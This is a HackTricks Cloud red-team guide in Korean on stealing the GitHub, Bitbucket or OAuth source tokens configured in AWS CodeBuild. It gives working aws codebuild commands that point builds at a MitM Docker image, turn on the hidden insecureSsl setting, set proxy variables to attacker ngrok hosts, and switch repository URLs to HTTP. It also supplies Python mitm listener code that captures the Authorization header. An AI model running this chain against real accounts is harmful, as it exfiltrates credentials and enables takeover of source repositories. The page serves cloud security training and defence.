AWS Codebuild - Token Leakage
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Github/Bitbucket에 구성된 토큰 복구
먼저, 유출할 수 있는 소스 자격 증명이 구성되어 있는지 확인하십시오:
aws codebuild list-source-credentials
Via Docker Image
계정에 예를 들어 Github에 대한 인증이 설정되어 있는 경우, Codebuild가 프로젝트 빌드를 실행하기 위해 특정 도커 이미지를 사용하도록 하여 액세스 (GH token 또는 OAuth token)을 유출할 수 있습니다.
이를 위해 새 Codebuild 프로젝트를 생성하거나 기존 프로젝트의 환경을 변경하여 Docker 이미지를 설정할 수 있습니다.
사용할 수 있는 Docker 이미지는 https://github.com/carlospolop/docker-mitm입니다. 이는 env 변수 https_proxy
, http_proxy
및 **SSL_CERT_FILE
**을 설정하는 매우 기본적인 Docker 이미지입니다. 이를 통해 https_proxy
및 **http_proxy
**에 지정된 호스트의 대부분의 트래픽을 가로챌 수 있으며, **SSL_CERT_FILE
**에 지정된 SSL CERT를 신뢰할 수 있습니다.
- 자신의 Docker MitM 이미지를 생성 및 업로드
- 리포지토리의 지침에 따라 프록시 IP 주소를 설정하고 SSL 인증서를 설정한 후 도커 이미지를 빌드합니다.
- 메타데이터 엔드포인트에 대한 요청을 가로채지 않도록
http_proxy
를 설정하지 마십시오. - **
ngrok
**을 사용하여ngrok tcp 4444
로 프록시를 호스트에 설정할 수 있습니다. - Docker 이미지를 빌드한 후, 공개 리포지토리에 업로드합니다 (Dockerhub, ECR...).
- 환경 설정
- 새 Codebuild 프로젝트를 생성하거나 기존 프로젝트의 환경을 수정합니다.
- 프로젝트가 이전에 생성된 Docker 이미지를 사용하도록 설정합니다.
.png)
- 호스트에서 MitM 프록시 설정
- Github 리포지토리에 명시된 대로 다음과 같은 방법을 사용할 수 있습니다:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
사용된 mitmproxy 버전은 9.0.1이며, 버전 10에서는 작동하지 않을 수 있다고 보고되었습니다.
- 빌드를 실행하고 자격 증명을 캡처합니다
- Authorization 헤더에서 토큰을 볼 수 있습니다:
.png)
이것은 aws cli를 사용하여 다음과 같이 수행할 수도 있습니다.
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild 프로젝트에는 웹에서 숨겨져 있는 **insecureSsl
**이라는 설정이 있으며, API를 통해서만 변경할 수 있습니다.
이 설정을 활성화하면 Codebuild가 플랫폼에서 제공하는 인증서를 확인하지 않고 리포지토리에 연결할 수 있습니다.
- 먼저 다음과 같은 방법으로 현재 구성을 열거해야 합니다:
aws codebuild batch-get-projects --name <proj-name>
- 그러면 수집한 정보를 바탕으로 프로젝트 설정 **
insecureSsl
**을 **True
**로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시로, 끝에 **insecureSsl=True
**가 있는 것을 주목하세요 (수집한 구성에서 변경해야 할 유일한 사항입니다). - 또한 http_proxy와 https_proxy 환경 변수를 추가하여 tcp ngrok을 가리키도록 하세요:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 https://github.com/synchronizing/mitm의 기본 예제를 실행합니다.
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 마지막으로 Build the project를 클릭하면 credentials가 명확한 텍스트(base64)로 mitm 포트로 전송됩니다:
 (1).png)
HTTP 프로토콜을 통해
[!TIP] > 이 취약점은 2023년 2월 20일 주 중 어느 시점에 AWS에 의해 수정되었습니다(금요일인 것 같습니다). 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)
CodeBuild에서 권한이 상승된 공격자는 구성된 Github/Bitbucket 토큰을 유출할 수 있습니다. 또는 권한이 OAuth를 통해 구성된 경우, 코드에 접근하는 데 사용되는 임시 OAuth 토큰을 유출할 수 있습니다.
- 공격자는 http_proxy 및 https_proxy 환경 변수를 자신의 머신을 가리키도록 CodeBuild 프로젝트에 추가할 수 있습니다(예:
http://5.tcp.eu.ngrok.io:14972
).
.png)
.png)
- 그런 다음, github repo의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예:
http://github.com/carlospolop-forks/TestActions
- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 https://github.com/synchronizing/mitm의 기본 예제를 실행합니다.
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 다음으로 프로젝트 빌드를 클릭하거나 명령줄에서 빌드를 시작합니다:
aws codebuild start-build --project-name <proj-name>
- 마지막으로, 자격 증명이 명확한 텍스트(base64)로 mitm 포트에 전송됩니다:
.png)
warning
이제 공격자는 자신의 머신에서 토큰을 사용하여 모든 권한을 나열하고 CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (남용)할 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.